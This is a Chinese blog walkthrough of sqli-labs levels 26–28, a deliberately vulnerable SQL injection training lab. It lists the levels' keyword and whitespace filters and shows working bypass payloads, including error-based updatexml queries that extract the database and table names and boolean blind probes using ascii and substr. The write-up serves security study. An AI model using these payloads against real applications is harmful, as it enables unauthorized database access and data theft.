sqli-labs第26~28关

第26关

查看源码

 黑名单,过滤了 or,and , /* , – , # , 空格 , /

 \s 代表正则表达式中的一个空白字符(可能是空格、制表符、其他空白) 即 \s  用于匹配空白字符。

我们常见的绕过空格的就是多行注释,/**/但这里过滤了,不太行啊

将空格,or,and,/*,#,--,/等各种符号过滤,此处对于and,or的处理方法不再赘述,参考25.此处我们需要说明两方面:对于注释和结尾字符的我们此处只能利用构造一个 ' 来闭合后面到 ' ;对于空格,有较多的方法:

%09 TAB键(水平)

%0a 新建一行

%0c 新的一页

%0d return功能

%0b TAB键(垂直)

%a0 空格

没思路,再看一下源码吧

 

   $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

与注入的SQL语句拼接后相当于$sql="SELECT * FROM users WHERE id='?id=1'||updatexml(1,concat(0x7e,(select(database())),0x7e),1)||'1'='1' LIMIT 0,1";

库名

?id=1%27||updatexml(1,concat(0x7e,(select(database())),0x7e),1)||%271%27=%271

查表名

?id=1'||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)='security'),0x7e),1)||'1'='1

 .......

第27关

报错注入

查看源码

 正则表达式中

修饰符 i 表示不区分大小写

[\s]表示,只要出现空白就匹配
[\S]表示,非空白就匹配

\w 匹配包括下划线的任何单词字符。等价于“[A-Za-z0-9_]"。
\W 匹配任何非单词字符。等价于“[^A-Za-z0-9_]"。

?id=1%27%26%26updatexml(1,concat(0x7e,(select(database())),0x7e),1)||%271%27=%271

 

 

第28关

盲注

查看源码

单引号字符型注入

?id=1')and(length(database())>7)and('1')=('1

 ?id=1%27)and(length(database())=8)and(%271%27)=(%271

 ?id=1')and((ascii(substr(database(),1,1)))=115)and('1')=('1

 

返回正常,第一位是s

?id=1')and((ascii(substr(database(),2,1)))=101)and('1')=('1

返回正常,第二位是e

......

END!!!

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值